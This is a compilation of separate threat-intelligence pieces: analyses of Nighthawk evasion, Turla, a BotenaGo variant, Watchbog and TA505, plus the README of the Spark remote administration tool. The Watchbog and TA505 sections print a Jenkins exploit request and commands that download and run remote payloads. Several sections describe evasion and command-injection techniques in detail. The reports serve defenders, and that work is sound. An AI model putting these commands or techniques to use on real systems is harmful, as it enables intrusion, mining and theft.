hooks for instrumentation. The following code removes any potentially registered ProcessInstrumentationCallback which can be used to transparently instrument code. This code, if enabled, is directly executed after the configuration parsing and import table setup phase. As another means of evading endpoint detection and response security solutions, the loader code contains optional unhooking functionality for ntdll.dll, kernel32.dll, and kernelbase.dll that is intended to remove user mode hooks from system libraries. After initialization, a key for decryption of the payload is derived from one of several system features. Supported keying methods include: - Content of a specified registry key - User SID retrieved from the process token - Account domain SID retrieved with LsaQueryInformationPolicy - Retrieval of the encryption key via DNS CNAME or TXT query - Retrieval of the encryption key via HTTPS request - Username, read with GetUserNameA - Computer name, read with GetComputerNameA - Reading the key from a specified file at a specified offset - Retrieval of the encryption key via DNS over TLS via CNAME or TXT query - Use of the system drive serial number that is read via IOCTL_STORAGE_QUERY_PROPERTY IOCTL to //./PhysicalDrive0 The presence of these keying methods is one of the clues that led Proofpoint researchers to identify this malware as Nighthawk early on. After a key derivation from the result of the selected keying function, the payload embedded in the .text section is decrypted and executed. The keying feature is engineered to minimize exposure of the cleartext implant and to make it difficult to analyze the malware in a sandbox or lab environment. ## The Nighthawk Payload The Nighthawk payload, which is coded in C++, is embedded as a DLL with a small shellcode prepended that jumps with the correct offset into the reflective loader code contained within the DLL. The DLL contains the following sections: to hide suspicious API calls, Nighthawk uses dynamic API resolution through symbol hashing as well. The correct module and function symbol is identified by checking for a matching hash on the lowercase library name or symbol string. This technique is standard tradecraft for malware developers and used in a comparable way in many other malwares and frameworks such as Cobalt Strike. Embedded strings are encoded with a simple substitution cipher. Single characters are looked up in a ciphertext alphabet and replaced with the corresponding character in a cleartext alphabet. If no match in the ciphertext alphabet is found, the character is not substituted. Nighthawk loads a configuration profile from the .profile section after some initial setup work. The embedded profile itself is a gzip compressed and AES encrypted JSON object where the string type fields are encoded with the substitution cipher described above. The 128-bit AES key is either prepended to the encrypted configuration profile or retrieved via HTTPS or DNS. ## Nighthawk Evasion Nighthawk features an extensive list of configurable evasion techniques that are referenced as “opsec” functions throughout its code. These techniques are important because they include capabilities that prevent certain endpoint detection notifications and evade process memory scans. Proofpoint researchers identified numerous evasion options that can be specified in the opsec section of the configuration profile. Some of these capabilities are explained in MDSec’s blog while others have not been sufficiently publicly documented. ### Opsec Functionality - **use-syscalls**: Use direct system calls instead of WinAPI where applicable. - **indirect-syscalls**: Use indirect system calls by setting up system call arguments and calling a syscall instruction in ntdll instead of a syscall instruction inside the Nighthawk code. - **unhook-syscalls**: Remove hooks from ntdll.dll. - **self-encrypt-mode**: Valid options are off, stub, no-stub-rop, no-stub-timer, no-stub-regwait. - **self-encrypt-after**: The exact functionality is unknown at the time of writing. - **report-self-encrypt-status**: The exact functionality is unknown at the time of writing. - **self-encrypt-while-listening**: The exact functionality is unknown at the time of writing. - **stomp-pe-header**: Overwrites the DOS header magic value, the space between the DOS header and PE header, the PE magic, and section names. - **masquerade-thread-stacks**: This option overwrites the stack of threads during hibernation. - **encrypt-heap-mode**: Valid options are off, implant, implant+zero. - **clear-veh-on-unhook**: This option temporarily sets a dummy exception handler by patching the LdrpVectorHandlerList during import resolution. - **clear-veh-on-imp-res**: This option temporarily sets a dummy exception handler by patching the LdrpVectorHandlerList during import resolution. - **clear-hwbp-on-unhook**: This option clears all hardware breakpoints via NtSetContextThread during the usermode hook removal process. - **clear-hwbp-on-imp-res**: This option clears all hardware breakpoints via NtSetContextThread during API resolution. - **clear-dll-notifications**: This setting clears the list of DLL loading notification callbacks registered with LdrRegisterDllNotification. - **use-threadpool**: Use RtlQueueWorkItem to dispatch tasks to a thread pool. - **backing-module**: The exact functionality is unknown at the time of writing. - **unhook-dlls**: Remove usermode hooks from the list of specified DLLs. - **block-dlls**: Block the specified DLLs from being loaded by hooking LoadLibraryExW. - **use-hwbp-for**: Use hardware breakpoints to implement hooking for the specified features. - **unhook-using-wpm**: Overwrite hooks using WriteProcessMemory. - **unhook-via-native**: Overwrite hooks using NtProtectVirtualMemory and memmove (intrinsic). - **unhook-clear-guard**: Clear the PAGE_GUARD permission from inaccessible memory and set the permissions for PAGE_NO_ACCESS memory to PAGE_EXECUTE_READ. - **hide-windows**: Hide GUI Windows of the Nighthawk process using EnumWindows and ShowWindow. - **sleep-mode**: Selects a sleep mechanism. Valid options are sleep: SleepEx, delay: NtDelayExecution, wait-single: NtWaitForSingleObject, wait-multi: NtWaitForMultipleObjects, wait-signal: CreateEventW and NtSignalAndWaitForSingleObject. - **disable-pi-callback**: Disable process instrumentation callbacks by using NtSetInformationProcess to set the ProcessInstrumentationCallback information class. - **patch-etw-event**: Hook NtTraceEvent. - **patch-etw-control**: Hook NtTraceControl. - **patch-amsi**: Hook AmsiScanBuffer. - **threadpool-loadlibrary**: Use RtlQueueWorkItem to dispatch calls to LoadLibraryW for library loading. - **thread-start-addresses**: The exact functionality is unknown at the time of writing. ## Outlook Nighthawk is a mature and advanced commercial C2 framework for lawful red team operations that is specifically built for detection evasion, and it does this well. While Proofpoint researchers are not aware of adoption of Nighthawk in the wild by attributed threat actors, it would be incorrect and dangerous to assume that this tool will never be appropriated by threat actors with a variety of intents and purposes. Historic adoption of tools like Brute Ratel by advanced adversaries, including those aligned with state interests and engaging in espionage, provides a template for possible future threat landscape developments. Detection vendors in particular should ensure proper coverage of this tool as cracked versions of effective and flexible post-exploitation frameworks can show up in the dark corners of the internet when either threat actors are looking for a novel tool or the tool has reached a certain prevalence. Proofpoint researchers will continue to analyze the Nighthawk framework and monitor for threat actor campaigns leveraging the tool. An update to this blog or a follow-up report will be published depending on additional findings.
# Spark Spark is a web-based, cross-platform and full-featured Remote Administration Tool (RAT) written in Go that allows you to control all your devices anywhere. Spark是一个Go编写的,网页UI、跨平台以及多功能的远程控制和监控工具,你可以随时随地监控和控制所有设备。 Spark is a free, safe, open-source, web-based, cross-platform and full-featured RAT (Remote Administration Tool) that allows you to control all your devices via browser anywhere. We won't collect any data, thus the server will never self-upgrade. Your clients will only communicate with your server forever. **Disclaimer** THIS PROJECT, ITS SOURCE CODE, AND ITS RELEASES SHOULD ONLY BE USED FOR EDUCATIONAL PURPOSES. ALL ILLEGAL USAGE IS PROHIBITED! YOU SHALL USE THIS PROJECT AT YOUR OWN RISK. THE AUTHORS AND DEVELOPERS ARE NOT RESPONSIBLE FOR ANY DAMAGE CAUSED BY YOUR MISUSE OF THIS PROJECT. YOUR DATA IS PRICELESS. THINK TWICE BEFORE YOU CLICK ANY BUTTON OR ENTER ANY COMMAND. ## Quick start 1. Download executable from releases. 2. Follow this to complete configuration. 3. Run executable and browse to `http://IP:Port` to access the web interface. 4. Generate a client and run it on your target device. 5. Enjoy! ## Configuration Configuration file `config.json` should be placed in the same directory as the executable file. Example: ```json { "listen": ":8000", "salt": "123456abcdefg", "auth": { "username": "password" }, "log": { "level": "info", "path": "./logs", "days": 7 } } ``` - `listen` required, format: IP:Port - `salt` required, length <= 24; after modification, you need to re-generate all clients - `auth` optional, format: username:password; hashed-password is highly recommended; format: `$algorithm$hashed-password`, example: `$sha256$123456abcdefg`; supported algorithms: sha256, sha512, bcrypt; if you don't follow the format, password will be treated as plain-text - `log` optional - `level` optional, possible value: disable, fatal, error, warn, info, debug - `path` optional, default: ./logs - `days` optional, default: 7 ## Features | Feature/OS | Windows | Linux | MacOS | |------------------|---------|-------|-------| | Process manager | ✔ | ✔ | ✔ | | Kill process | ✔ | ✔ | ✔ | | Network traffic | ✔ | ✔ | ✔ | | File explorer | ✔ | ✔ | ✔ | | File transfer | ✔ | ✔ | ✔ | | File editor | ✔ | ✔ | ✔ | | Delete file | ✔ | ✔ | ✔ | | Code highlight | ✔ | ✔ | ✔ | | Desktop monitor | ✔ | ✔ | ✔ | | Screenshot | ✔ | ✔ | ✔ | | OS info | ✔ | ✔ | ✔ | | Terminal | ✔ | ✔ | ✔ | | * Shutdown | ✔ | ✔ | ✔ | | * Reboot | ✔ | ✔ | ✔ | | * Log off | ✔ | ❌ | ✔ | | * Sleep | ✔ | ❌ | ✔ | | * Hibernate | ✔ | ❌ | ❌ | | * Lock screen | ✔ | ❌ | ❌ | * Blank cell means the situation is not tested yet. The star symbol means the function may need administration or root privilege. ## Development note There are three components in this project, so you have to build them all. Go to Quick start if you don't want to make yourself boring. - Client - Server - Front-end If you want to make client support OS except Linux and Windows, you should install some additional C compiler. For example, to support Android, you have to install Android NDK. ## Tutorial ```bash # Clone this repository. $ git clone https://github.com/XZB-1248/Spark $ cd ./Spark # Here we're going to build front-end pages. $ cd ./web # Install all dependencies and build. $ npm install $ npm run build-prod # Embed all static resources into one single file by using statik. $ cd .. $ go install github.com/rakyll/statik $ statik -m -src="./web/dist" -f -dest="./server/embed" -p web -ns web # Now we should build client. # When you're using unix-like OS, you can use this. $ mkdir ./built $ go mod tidy $ go mod download $ ./scripts/build.client.sh # Finally we're compiling the server side. $ mkdir ./releases $ ./scripts/build.server.sh ``` Then create a new directory with a name you like. Copy executable file inside releases to that directory. Copy the whole built directory to that new directory. Copy configuration file mentioned above to that new directory. Finally, run the executable file in that directory. ## Dependencies Spark contains many third-party open-source projects. Lists of dependencies can be found at `go.mod` and `package.json`. Some major dependencies are listed below. **Back-end** - Go (License) - gin-gonic/gin (MIT License) - imroc/req (MIT License) - kbinani/screenshot (MIT License) - shirou/gopsutil (License) - gorilla/websocket (BSD-2-Clause License) - orcaman/concurrent-map (MIT License) **Front-end** - React (MIT License) - Ant-Design (MIT License) - axios (MIT License) - xterm.js (MIT License) - crypto-js (MIT License) **Acknowledgements** - natpass (MIT License); Image difference algorithm inspired by natpass. ## License BSD-2 License
# Turla Espionage Group Turla is a notorious espionage group that has been active for at least ten years. It came to light in 2008 when Turla breached the US Department of Defense. Since then, there have been numerous security incidents involving Turla targeting several governments and sensitive businesses such as the defense industry. Our January 2018 white paper was the first public analysis of a Turla campaign called Mosquito. We have also published indicators of compromise. Since then, the campaign has remained very active, and attackers have been busy changing their tactics to remain as stealthy as possible. Starting in March 2018, we observed a significant change in the campaign: it now leverages the open-source exploitation framework Metasploit before dropping the custom Mosquito backdoor. It is not the first time Turla has used generic tools. In the past, we have seen the group using open-source password dumpers such as Mimikatz. However, to our knowledge, this is the first time Turla has used Metasploit as a first-stage backdoor instead of relying on one of its own tools such as Skipper. ## Distribution As described in our earlier analysis, the typical vector of compromise of the Mosquito campaign is still a fake Flash installer, which installs both the Turla backdoor and the legitimate Adobe Flash Player. The typical targets are still embassies and consulates in Eastern Europe. We showed that the compromise happens when the user downloads a Flash installer from get.adobe.com through HTTP. Traffic was intercepted on a node between the end machine and the Adobe servers, allowing Turla’s operators to replace the legitimate Flash executable with a trojanized version. Even though we were not able to spot traffic interception subsequently, we found a new executable that is still impersonating the Flash installer and is named `flashplayer28_xa_install.exe`. Thus, we believe the same method of initial compromise is still being used. ## Analysis At the beginning of March 2018, as part of our regular tracking of Turla’s activities, we observed some changes in the Mosquito campaign. Even though they did not make use of groundbreaking techniques, this is a significant shift in Turla’s Tactics, Techniques, and Procedures (TTPs). Previously, the chain of compromise was a fake Flash installer dropping a loader and the main backdoor. Recently, we observed a change in the way in which the final backdoor is dropped. Turla’s campaign still relies on a fake Flash installer, but instead of directly dropping the two malicious DLLs, it executes a Metasploit shellcode and drops, or downloads from Google Drive, a legitimate Flash installer. Then, the shellcode downloads a Meterpreter, which is a typical Metasploit payload, allowing the attacker to control the compromised machine. Finally, the machine may receive the typical Mosquito backdoor. Because Metasploit is being used, we might also guess that an operator controls the exploitation process manually. The time frame of the attack was relatively short as the final backdoor was dropped within thirty minutes of the start of the compromise attempt. The shellcode is a typical Metasploit shellcode, protected using the shikata_ga_nai encoder with seven iterations. Once the shellcode is decoded, it contacts its C&C at `https://209.239.115[.]91/6OHEJ`, which directs the download of an additional shellcode. Based on our telemetry, we identified the next stage to be a Meterpreter. That IP address is already known as a previously seen Mosquito C&C domain, `psychology-blog.ezua[.]com`, which was resolving to it in October 2017. Finally, the fake Flash installer downloads a legitimate Adobe installer from a Google Drive URL and executes it to lull the user into thinking all went correctly. ## Additional Tools In addition to the new fake Flash installer and Meterpreter, we observed the use of several other tools: - A custom executable that only contains the Metasploit shellcode. This is used to maintain access to a Meterpreter session. It is saved to `C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msupdateconf.exe`, granting the executable persistence. - Another custom executable used to execute PowerShell scripts. - The Mosquito JScript backdoor that uses Google Apps Script as its C&C server. - Privilege escalation using the Metasploit module `ext_server_priv.x86.dll`. ## Conclusion In this post, we have presented the evolutions of the Turla Mosquito campaign over the last few months. The major change we observed was the use of Metasploit, an open-source penetration testing project, as a first stage for the custom Mosquito backdoor. This might be useful information for defenders performing incident response on attacks involving Turla. For any inquiries, or to make sample submissions related to the subject, contact us at [email protected]. ## Indicators of Compromise (IoCs) | Filename | SHA1 | SHA256 | |-----------------------------------|----------------------------------------|------------------------------------------| | flashplayer28_xa_install.exe | 33d3b0ec31bfc16dcb1b1ff82550aa17fa4c07c5 | f9b83eff6d705c214993be9575f8990aa8150128a815e849c6faee90df14a0ea | | msupdateconf.exe | 114c1585f1ca2878a187f1ce7079154cc60db7f5 | 1193033d6526416e07a5f20022cd3c5c79b73e8a33e80f29f9b06cdc3cb12e26 | | msupdatesmal.exe | 994c8920180d0395c4b4eb6e7737961be6108f64 | 6868cdac0f06232608178b101ca3a8afda7f31538a165a045b439edf9dadf048 |
# New BotenaGo Variant Discovered by Nozomi Networks Labs By April 18, 2022 According to AT&T Alien Labs, BotenaGo malware has been deployed with over 30 exploit functions, putting millions of IoT devices at risk of potential cyberattacks. BotenaGo is written in “Go,” which is a Google open-source programming language. While the use of open-source programming languages has its benefits, attackers have equally taken advantage, using Go to code malicious malware. Our research highlights Nozomi Networks Labs’ discovery of a new variant of the BotenaGo malware that specifically targets Lilin security camera DVR devices. We have named this sample “Lillin scanner” because of the name the developers used for it in the source code: `/root/lillin.go`. Let’s dive deeper into the functionality of this sample to show step-by-step how these kinds of scanners work. The source code of the BotenaGo malware was leaked in October 2021, which led to the creation of new variants based on the original. We decided to monitor samples that could have been generated utilizing parts of the BotenaGo source code. In doing so, we discovered a sample that contained certain similarities to BotenaGo. At the time of this research, the sample had not been detected by any malware detection engine in VirusTotal. Although the sample is quite large (2.8 MB), due to being written in Go, the portion of the actual malicious code is quite small and focuses on a single task. Its authors removed almost all of the 30+ exploits present in BotenaGo’s original source code and reused some parts to exploit a different vulnerability that was over two years old. This may be why the sample hasn’t been detected until now. ## Lillin Scanner Functionality In order to run, the scanner/exploiter needs a parameter to be passed in the command line. That will be the port being used to connect to each of the IP addresses that the program targets. Lillin scanner differs from BotenaGo in that it doesn’t check the banner for the given IPs. It is possible that this tool is chained with another program that builds lists of Lilin devices using services like Shodan or other mass scanning tools. Next, the sample will iterate over the IP addresses that it receives from the standard input. This portion of the code can easily be spotted in the original BotenaGo source code. These instructions will create one Goroutine (a sort of thread used in Go) per IP address executing the `infectFunctionLilinDvr` function, which follows the same naming convention as in BotenaGo. The presence of strings with the names of the functions and the absence of any protection (many malware families use at least the modified version of UPX) means that it isn’t actually trying to protect itself against security products and reverse engineers. It reinforces the theory that this executable might mainly be intended to be used by attackers in manual mode. ## Device Access and Vulnerability Exploitation When the `infectFunctionLilinDvr` function receives the IP address to scan, it first checks if the device behind that IP can be accessed. The Lillin scanner contains 11 pairs of user-password credentials in its code. This is a difference from previous malware samples that, reportedly, abused only the credentials `root/icatch99` and `report/8Jg0SR8K50`. These credentials are Base64-encoded to be used in the basic authentication needed to exploit the vulnerability that allows the Remote Code Execution (RCE). Lillin scanner will loop over the 11 encoded credentials and will sequentially try to access the root directory, changing the Base64 string in the `Authorization` field. When the server response contains the string `HTTP/1.1 200` or `HTTP/1.0 200`, it will consider the authentication to be successful and will attempt the exploitation of the Network Time Protocol (NTP) configuration vulnerability. This vulnerability, part of a set of security vulnerabilities affecting Lilin DVRs, was discovered in 2020 and was assigned a CVSS v3.1 score of 10.0 (Critical) by the vendor. The scanner will send particularly crafted HTTP POST requests to the URL paths `/dvr/cmd` and `/cn/cmd` in order to exploit a command injection vulnerability in the web interface. First, the scanner attempts to inject some code by submitting a POST request to the URL path `/dvr/cmd`. If successful, this request then modifies the NTP configuration of the camera. The modified configuration contains a command that, because of the vulnerability, will attempt to download a file named `wget.sh` from the IP address `136.144.41[.]169` and then immediately execute its content. If the command injection to `/dvr/cmd` is not successful, the scanner attempts the same attack to the endpoint `/cn/cmd`. Once the attack is complete, another request to the same endpoint restores the original NTP configuration. The file `wget.sh` recursively downloads multiple executables for multiple architectures from `136.144.41[.]169`. The targeted architectures are ARM, Motorola 68000, MIPS, PowerPC, SPARC, SuperH, x86. ## The Mirai Malware Family In the third stage of this attack, multiple malicious samples for each architecture attempt to execute on the camera. These samples belong to the Mirai malware family, which is a widely known threat to IoT devices. All these samples have recently been submitted to VirusTotal (at the beginning of March 2022). For example, for the MIPS architecture, two samples have been identified as the third stage connected to the Mirai family: - ae0185189e463c6abddf8865972dac72630b6e515e79d3f7566f0983a0eae295 - 28f50f24c930b595f88257748f62d985436ecce1330ff52f09cdd13642591450 For x86 architecture, the file `62ef086111b6816d332e298d00ac946c11fac0ed8708fa2668ad3c91ceb96dbf` is downloaded and executed. An analysis of this sample reveals some typical behaviors of the Mirai malware. For example, while scanning new devices, Mirai typically bruteforces the authentication using a list of hardcoded credentials. From the static analysis of the downloaded sample, we retrieved a list of credentials used in the scanning module, many of which are the same as the ones hardcoded in the Mirai source code. Another behavior associated with the Mirai botnet is the exclusion of IP ranges belonging to the internal networks of the U.S. Department of Defense (DoD), U.S. Postal Service (USPS), General Electric (GE), Hewlett-Packard (HP), and others. Some of them are visible in the Mirai’s source code. The same IP ranges are excluded from the scanning procedure in the sample we are analyzing. Moreover, we see that the verification of a randomly generated IP follows the same algorithm as the one implemented in Mirai’s source code. It seems that this tool has been quickly built using the code base of the BotenaGo malware. It shouldn’t be confused with a worm as its main goal is to infect its victims with Mirai executables with a list of IP addresses provided as input; it can’t automatically propagate itself. ## Conclusion Apart from working on completely new projects, attackers also commonly re-use already available code to build new malware. Monitoring the evolution of these projects helps create more robust and generic detections that remain proactive for a longer time, thus providing better protections against modern cyberthreats.
# Return of Watchbog: Exploiting Jenkins CVE-2018-1000861 Watchbog, a cryptocurrency-mining botnet, has made a comeback by exploiting Jenkins CVE-2018-1000861 this time. On May 12th, 2019, we observed Watchbog starting a grand attack aiming at Jenkins. Infected servers do not automatically attack their peers, meaning that the trojan itself is not contagious. However, it still causes loss to victim users by mining cryptocurrency and adding malicious commands to scheduled tasks for persistence. Watchbog botnet is not new; it has previous convictions. Earlier this year, we detected Watchbog attacking services such as Nexus Repository Manager 3, ThinkPHP, and Linux Supervisord, deploying miners with highly similar techniques. The process is very straightforward, as shown below: This article gives insight into the attack event and provides suggestions for cleaning malware and preventing future intrusion. ## Start of Attack We found this request on a victim Jenkins server, exploiting CVE-2018-1000861: ``` GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox?sandbox=True&value=public class x{public x(){new String("776765742068747470733a2f2f706173746562696e2e636f6d2f7261772f42335235556e776820 HTTP/1.1 Host: [victim_host]:[jenkins_port] ``` This payload is different from another exploit targeting CVE-2019-1003000 we have seen in another botnet event by ImposterMiner in February: ``` GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root= HTTP/1.1 Host: [victim_host]:[jenkins_port] ``` The two payloads look alike because they both use the "/securityRealm/user/admin/descriptorByName" gadget. Yet they are essentially different in that CVE-2018-1000861 is a vulnerability in Jenkins' Stapler web framework, while CVE-2019-1003000 is in the Script Security Plugin. The hex-encoded part in the former CVE-2018-1000861 payload downloads and runs a malicious shell command: ``` wget https://pastebin.com/raw/B3R5Unwh -O /tmp/baby bash /tmp/baby ``` The contained URL points to another pastebin URL, which points to yet another. The main part of the malicious shell script is encoded and placed in another pastebin. ## Mining and Persistence During execution of the aforementioned shell script, a cryptocurrency miner is installed on the victim server by downloading from the following URL (decoded from $mi_64): ``` https://github.com/xmrig/xmrig/releases/download/v2.14.1/xmrig-2.14.1-xenial-x64.tar.gz ``` The configuration file for mining is as follows: The malicious shell script maintains persistence by adding itself to crontab. Other tampered crontab files include: An ironic thing is that the threat actor says victims can contact him at [email protected] and promises to offer "cleanup script, source of entry, and patch." According to minexmr.com, the threat actor may have earned about 20 Moneros (1500 USD) as economic profit from mining. Another thing worth mentioning is that we have reported malicious URLs to pastebin.com and requested to ban those addresses when Watchbog first started its attack in March. However, pastebin.com has not replied or taken any effective action. ## Security Suggestions - Services for internal use should not be exposed to the Internet. Use adequate ACL or other authentication techniques to only allow access from trusted users. - It is necessary for users to upgrade their software in time, especially when the vendor of the software has published security-related advisories. - Since pastebin.com has been used by many botnets, users who do not often visit this website may use some tricks to drop packets to and from it. For example, on Linux, you can run: ``` echo -e "\n0.0.0.0 pastebin.com" >> /etc/hosts ``` This command sinkholes (redirects) any traffic to and from pastebin.com. - Cloud firewalls are useful in preventing attacks. We recommend Alibaba Cloud Firewall because it is able to detect, block, and analyze threats. You will be protected from intrusion and malicious mining with AI technologies on your side. - Alibaba Cloud Managed Security Service enables users to call on the expertise of Alibaba's security specialists, who will help you clean up malware, improve configurations, and enhance overall security. If you are concerned about your organization's security, you should give it a try. ## IOC **Wallet:** - Previous: 44gaihcvA4DHwaWoKgVWyuKXNpuY2fAkKbByPCASosAw6XcrVtQ4VwdHMzoptXVHJwEErbds66L9iWN6dRPNZJ - Current: 47k2wdnyyBoMT6N9ho5Y7uQg1J6gPsTboKP6JXfB5msf3jUUvTfEceK5U7KLnWir5VZPKgUVxpkXnJLmijau3V **Pool Address:** - pool.minexmr.com:80 - pool.minexmr.com:443 **URLs:** - https://pastebin.com/raw/B3R5Unwh - https://pastebin.com/raw/J6NdVBHq - https://pastebin.com/raw/KGwfArMR - https://pastebin.com/raw/AgdgACUD - https://pastebin.com/raw/vvuYb1GC - https://pastebin.com/raw/aGTSGJJp - https://pastebin.com/raw/05p0fTYd - https://pastebin.com/raw/KxWPFeEn - https://pastebin.com/raw/X6wvuv98 - https://pixeldra.in/api/download/nZ2s4L **MD5:** - 65cfcad6dc3d31695b8f3ffa08e5d389 - 95721de55ad89005484b4c21f768d94e - 157495f6ba8c36c38984d1f902cf3ac0 - 314097a1d41697352c961026aa1ed87c - 1dbd97c70a89e64cbfb65c78ac39938e **Local Path:** - /tmp/systemd-private-afjdhdicjijo473skiosoohxiskl573q-systemd-timesyncc.service-g1g5qf/cred/fghhhh/data
# TA505 At It Again: Variety is the Spice of ServHelper and FlawedAmmyy **Posted on:** August 27, 2019 **Posted in:** Malware, Spam **Author:** Trend Micro TA505 continues to show that as a cybercriminal group, they intend to wreak as much havoc while maximizing potential profits. Given the group’s active campaigns since our updates in June and July, we continued following their latest campaigns. Just like in previous operations, they continue to make small changes, such as targeting other countries, entities, or the combination of techniques used for deployment, for each campaign. Despite the changes, TA505 continues to use either FlawedAmmyy RAT (remote access trojan) or ServHelper as payloads. However, over the last nine campaigns since our June report, they also started using .ISO image attachments as the point of entry, as well as a .NET downloader, a new style for macro delivery, a newer version of ServHelper, and a .DLL variant of FlawedAmmyy downloader. The group also started targeting new countries, such as Turkey, Serbia, Romania, Korea, Canada, the Czech Republic, and Hungary. We noticed that the group became active again in the middle of July, targeting Turkish and Serbian banks with emails that had .ISO file attachments as a means of entry. While the method is not new, the change in file type may yield successful infections given the unusual malware delivery technique. Emails with an attached .ISO image is an .LNK file that uses command line msiexec to execute an MSI file from a URL such as hxxp://139[.]180[.]195[.]36/pm2. In another sample we obtained, we found an Excel attachment with malicious macros embedded in the file. The macros directly download the file created using NSIS installer from hxxp://45[.]67[.]229[.]36/p2, which is the same binary we found in the .ISO and .LNK files that install ServHelper. In another sample, the group made several updates with the versions of ServHelper, one of which included the strings’ binary encrypted in Vigenère cipher. We observed that some of the samples still had errors in the cipher routine. In another routine that was supposed to result in a stack overflow, it also displayed an error message. We suspect the developer of this particular sample copied and pasted a stack overflow code. Another updated version included encrypted contents of the C&C communication via HTTP (previous versions had C&C request and response information in plain text). The encrypted sample — via XOR encoding/URL encoding — also received a response from the C&C encrypted with XOR. The XOR key is embedded in the binary; in this case, the key was “lol”. We also found two new backdoor commands, runmem and runmemxor, that can run additional .DLL commands in memory. - **shell:** Execute command - **runmem:** Download .DLL in memory and run - **runmemxor:** Download XOR encrypted .DLL and decrypt and run - **zakr:** Register autorun - **slp:** Set sleep time - **load:** Download executable file and run - **loaddll:** Download .DLL and run - **selfkill:** Uninstall itself The newer version shows that the developers behind ServHelper continued to upgrade it to evade detection and add more functions, possibly for even more iterations in the future. In a campaign targeting thousands of Korean businesses, we found an .ISO attachment — used as the malicious downloader — disguised as a confirmed flight ticket from a popular airline. In a slightly different technique still targeting Korean enterprises, the .ISO files either contained an .LNK file such as the previous iteration, or a .NET-compiled downloader. Other samples also included an Excel file attachment with malicious macros that install FlawedAmmyy, or a URL included in the email that supposedly downloads the file needed to download the malware. Both versions tried to download and execute files km1 or km2, an .MSI installer that executes the FlawedAmmyy downloader. This, in turn, downloads an RC4-encrypted FlawedAmmyy RAT payload from hxxp://92[.]38[.]135[.]67/2.dat or hxxp://27[.]102[.]70[.]196/1.dat that automatically decrypts and executes the malware. This was also previously documented by an ESET security researcher. On the samples that used a URL in the email content, we also noticed that the type of document file that it downloaded depended on the URL that the user opened. Opening the documents will enable the macros and download the same FlawedAmmyy downloader as the .ISO file iteration from hxxp://92[.]38[.]135[.]67 or hxxp://27[.]102[.]70[.]196, with filenames k1 or k2. In a campaign that targeted Romanian banks, emails used the subject “Fw: copie COC L5H3” and came with an .ISO image attachment. Further analysis revealed a .NET downloader embedded in the image, along with routines that were almost similar to those used in the campaign observed targeting Turkish banks. The .NET downloads jm1 — an .MSI installer — that installs another NSIS installer, leading to a ServHelper infection in the system. In another routine, an Excel file attachment downloads the NSIS installer once the user enables the malicious macros from hxxp://109[.]234[.]37[.]15:80/j1 or hxxp://169[.]239[.]128[.]170/j1. Both URLs contain the same binaries as the ones that the jm1 file installs. The group’s more typical payload and routine involves the use of ServHelper and FlawedAmmy RAT and attaching a document embedded with malicious commands and strings. One variant targets Serbian banks with subjects pertaining to “payments” or “invoices” applicable in several European languages. Enabling the macros of the Excel file downloads a file created using NSIS installer with ServHelper from 79[.]141[.]168[.]105 or 195[.]123[.]213[.]126. We found another routine from a campaign targeting government agencies in Saudi Arabia, Oman, and Qatar with another type of .XLS or .DOC attachment. The emails used in these campaigns used subjects pertaining to finance or urgent concerns on insurance policies. A similar campaign targeting Turkish educational and government institutions used email subjects pertaining to invoice information or personnel payroll, and Visual Basic for Applications (VBA) .XLS or VBA .DOC macros. Similar to the routine variant, the Excel VBA macros retrieve the FlawedAmmyy downloader from hxxp://195[.]123[.]245[.]185/r1 or hxxp://185[.]225[.]17[.]5/r1, then decrypts and executes FlawedAmmyy RAT from hxxp://185[.]225[.]17[.]5/2.dat or hxxp://195[.]123[.]245[.]185/1.dat. Meanwhile, the .DOC VBA macros retrieves the MSI files from hxxp://195.123.245.185/km or hxxp://185.225.17.5/km, which executes the NSIS installer for ServHelper installation. Similar to one of the routines, the group also reused one of the email samples but changed the targets to India and the United States, and added content referring to invoices. The email may contain different documents, but the URLs for downloading ServHelper as the payload remain the same. In the first week of August, we noticed the group using a different approach and style to fetch the downloaders via macros. While FlawedAmmyy RAT was still the final payload, the downloader was different — this operation used a .DLL variant. This particular campaign targeted Canada with subjects asking for confirmation of numbers from the marketing department. The attached document asks the user to enable the macros, which creates an Internet Explorer object instance. This loads a text file from a hardcoded website, wherein the content of the document file is parsed through and the inner text of the document is loaded. Our analysis showed that this is likely done so the malicious file can bypass some firewall rules, since the communication uses Internet Explorer. The downloaded file is a text file with a single number on each line. The macros process the downloaded payload with each number encrypted in XOR with a constant hardcoded value of 106. The result is an executable file written to the disk and executed. The executed .DLL is packed using two layers: a custom packer for the first stage and UPX (Ultimate Packer for Executables) for the second stage. The unpacked payload in memory is also a .DLL — it’s the first time we’ve seen a FlawedAmmyy downloader as a .DLL. As we further analyzed the main behavior by downloading the encrypted FlawedAmmyy RAT and decrypted it with RC4, we found that it was similar to the previous campaigns, but with a few updates. The first update is the use of the socket API to send an HTTP request instead of wininet or winhttp API to download an encrypted FlawedAmmyy, building an HTTP header by itself. This could likely be an effort to bypass API hooking for HTTP. The second change: The decrypted FlawedAmmyy RAT is now saved as dllhots.exe in C:\temp\ (it used to be saved as wsus.exe). Lastly, this new FlawedAmmyy downloader overwrites some PE header members with random values. Specifically, it overwrites the checksum, the address of the relocation table in DOS header, and the checksum in optional headers. The decrypted FlawedAmmyy RAT is slightly different from the one that TA505 reused over its past campaigns. While the previous strings had the modified AmmyyAdmin binary since the source code was leaked, TA505 changed the strings in this sample to PopssAdmin. This may bypass detection rules if the systems’ lists were not updated. In another sample targeting South Korea, the difference with the previous case is the XOR encryption hardcoded at 180. We also found that the file delivered is an .MSI executable containing the same .DLL FlawedAmmyy downloader. From the document embedded with the malicious macros, the macro code calls “Run” on the WScript.Shell object. Most of the strings forming the final command are stored in the “Tag” properties of a form embedded in the document. The final command executes the download and installation of the .MSI file into C:\Windows\System32\msiexec.exe” back=13 error=continue /i http://92[.]38[.]135[.]99/99.msi /q OnLoad=”c:\windows\notepad.exe. From the parameters above, “/i” means install, “/q” means quiet. The other three parameters do not appear to be used at all, as reported in the install log (by adding /L*V “C:\example.log” parameter). The .MSI file is a downloader with the .DLL FlawedAmmyy downloader inside; it retrieves the final payload, then decrypts and executes FlawedAmmyy RAT. Around the second week of August, we found a campaign targeting banks in the Czech Republic with subjects pertaining to credit and NAV transfer. Analysis of the samples revealed that the document and macro style was 